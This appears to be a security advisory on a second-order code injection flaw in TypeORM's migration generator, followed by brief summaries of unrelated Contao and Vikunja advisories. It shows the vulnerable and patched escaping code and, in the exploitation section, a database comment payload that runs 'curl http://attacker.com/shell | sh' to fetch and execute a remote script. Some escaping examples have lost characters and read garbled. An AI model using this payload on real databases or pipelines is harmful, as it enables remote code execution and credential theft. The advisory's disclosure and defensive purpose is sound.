Jul 22, 2026·5 min read·39 visits
TypeORM versions prior to 0.3.31 fail to escape backslashes and template interpolation sequences (`${`) when writing database schema comments and defaults to generated migration files. This allows attackers to execute arbitrary code via poisoned database metadata.
A critical second-order code injection vulnerability exists in the migration generation engine of TypeORM. When TypeORM introspects a database schema to automatically generate migration files, it writes schema metadata directly into JavaScript/TypeScript migration files inside ES2015 template literals. Because the generator failed to sanitize template literal string interpolation markers and backslashes, attackers with control over database metadata can execute arbitrary code on the developer environment or within a CI/CD pipeline.
TypeORM provides a command-line interface (CLI) that allows developers to automatically generate database migrations by comparing active TypeScript entities with the state of a live database schema. This utility, implemented in MigrationGenerateCommand.ts, programmatically constructs migration code based on differences discovered during introspection. The target fields for introspection include structural configurations such as column comments, default values, and custom table view definitions.
Because generated migrations must run on downstream database instances, TypeORM serializes these introspected properties as static SQL string variables. The engine writes these values inside ES2015 template literals, which are enclosed in backticks (`). If an attacker can manipulate or access a database with metadata control privileges, they can introduce malicious strings that break out of the template literal context.
Since the resulting migration file is an executable JavaScript or TypeScript file, the payload executes the moment the migration script is loaded by the Node.js runtime. This vector shifts the threat scope from database interaction to arbitrary shell execution under the privilege context of the execution environment.
The underlying vulnerability arises from two structural failures in how MigrationGenerateCommand.ts processed database-derived string values. First, the codebase attempted to serialize query strings inside ES2015 template literals by simply replacing literal backticks using replaceAll("", "\"). This approach failed to secure the boundary because it neglected to sanitize the backslash character itself.
When a string contains a backslash character before a backtick, the backslash consumption bypass is triggered. For example, if an attacker supplies the string \``, the simple replacement logic converts this to \`. When the engine evaluates this output, the first two backslashes form a literal escaped backslash (\`), while the third backslash escapes the escaping character, leaving the subsequent backtick active. This allows the attacker to break out of the string literal boundary.
Second, the pre-patched implementation failed to escape template literal interpolation markers ($\{). ES2015 specifications dictate that any expression enclosed within $\{\} is evaluated in the execution scope prior to execution. By passing these characters verbatim, TypeORM allowed arbitrary Node.js expressions to run immediately when the file was parsed by the V8 compilation engine.
An analysis of the vulnerable code path inside src/commands/MigrationGenerateCommand.ts reveals how introspected SQL commands were previously concatenated into the output buffer without safety checks:
// Vulnerable execution block in MigrationGenerateCommand.ts
sqlInMemory.upQueries.forEach((upQuery) => {
upSqls.push(
" await queryRunner.query(`" +
upQuery.query.replaceAll("`", "\\`") +
"`" +
MigrationGenerateCommand.queryParams(upQuery.parameters)
);
});The fix, merged across commits 41d1c62fe49f99c3ca916d4d986f61ee9f45d519 and b175f9b8be422edd2a2ac035ba90c3f2ce782dfe, introduced a robust, sequential sanitization step. Below is the patched implementation:
// Patched execution block using the new escape utility
sqlInMemory.upQueries.forEach((upQuery) => {
upSqls.push(
" await queryRunner.query(`" +
MigrationGenerateCommand.escapeTemplateLiteral(upQuery.query) +
"`" +
MigrationGenerateCommand.queryParams(upQuery.parameters)
);
});
// Sequential escaping implementation to block injection vectors
protected static escapeTemplateLiteral(query: string): string {
return query
.replace(/\\/g, "\\\\")
.replace(/`/g, "\\`")
.replace(/\$\{/g, "\\${");
}The order of operations inside escapeTemplateLiteral is vital to security. By replacing single backslashes (\) with double backslashes (\\) first, the compiler ensures that user-supplied backslashes cannot neutralize the escape characters generated for backticks and template string interpolation sequences.
To execute this attack, the threat actor must first inject a malicious payload into the database metadata. This represents a classic second-order injection pattern, requiring two distinct phases.
In the first phase, the attacker modifies the metadata of a table column. For a PostgreSQL target, the command alters a column comment:
COMMENT ON COLUMN "user"."email" IS 'User Identity ${process.mainModule.require("child_process").execSync("curl http://attacker.com/shell | sh")}';In the second phase, the developer or CI/CD container runs the schema introspection command:
npx typeorm migration:generate src/migrations/SyncUsers -d src/data-source.tsThis writes the metadata verbatim into the migrations folder. When the migration file is parsed, the V8 engine interprets the payload in the context of the running application, executing the shell payload.
The CVSS Base Score is evaluated at 8.0 (High). Although the attack complexity is High because it requires schema modification permissions or an active SQL injection vulnerability, the consequences of successful exploitation are absolute.
If the application utilizes automated CI/CD deployment jobs that run schema migrations on merge or deployment, the pipeline environment becomes directly compromised. This compromise exposes sensitive repository secrets, database connection parameters, production cloud credentials, and deployment environments.
The scope transition is defined as a Scope Change (S:C). The vulnerability starts as a passive data variable stored inside a database catalog and escalates to full remote code execution inside the hosting operating system.
| Product | Affected Versions | Fixed Version |
|---|---|---|
typeorm TypeORM | < 0.3.31 | 0.3.31 |
typeorm TypeORM | >= 1.0.0 < 1.1.0 | 1.1.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-94, CWE-116, CWE-74 |
| Attack Vector | Network (Second-order via database metadata) |
| CVSS Score | 8.0 (High) |
| Impact | Remote Code Execution (RCE) |
| Exploit Status | PoC Documented |
| KEV Status | Not Listed |
The application constructs code dynamically based on external inputs, failing to neutralize or sanitize string interpolation blocks.
A path traversal vulnerability (CWE-22) in Contao CMS allows unauthenticated remote attackers to bypass directory boundary restrictions in ImagesController and access files within the project directory.
Contao Open Source CMS versions 4.0.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 contain a Cross-Site Request Forgery (CSRF) vulnerability in backend parameter handling. The `RequestTokenListener` component validates anti-CSRF tokens solely for HTTP POST requests, while GET-based declarative guards run only when an `act` parameter is present in the query string. Consequently, custom backend actions dispatched via alternative parameters such as `key=` can execute without CSRF token verification when triggered by an authenticated user.
Contao CMS versions 4.1.0 through 5.3.49 and 5.4.0-RC1 through 5.7.11 fail to validate form submission tokens and enforce rate limiting when processing activation email resend requests via HTTP POST, enabling resource exhaustion and account state enumeration.
An information disclosure vulnerability in Contao CMS allows unauthenticated site visitors to view protected page titles, URLs, and text excerpts through search queries when protected page indexing is disabled after previously being enabled.
In Vikunja prior to version 2.6.0, relation creation via the CalDAV endpoint fails to invoke the TaskRelation.CanCreate authorization check. This missing access control allows an authenticated user to establish unauthorized relationships and perform write operations against any task, provided its unique identifier (UID) is known.
A cross-project information disclosure vulnerability in Vikunja allows authenticated users with read access to one project to view private task details from unauthorized projects via subtask expansion parameters.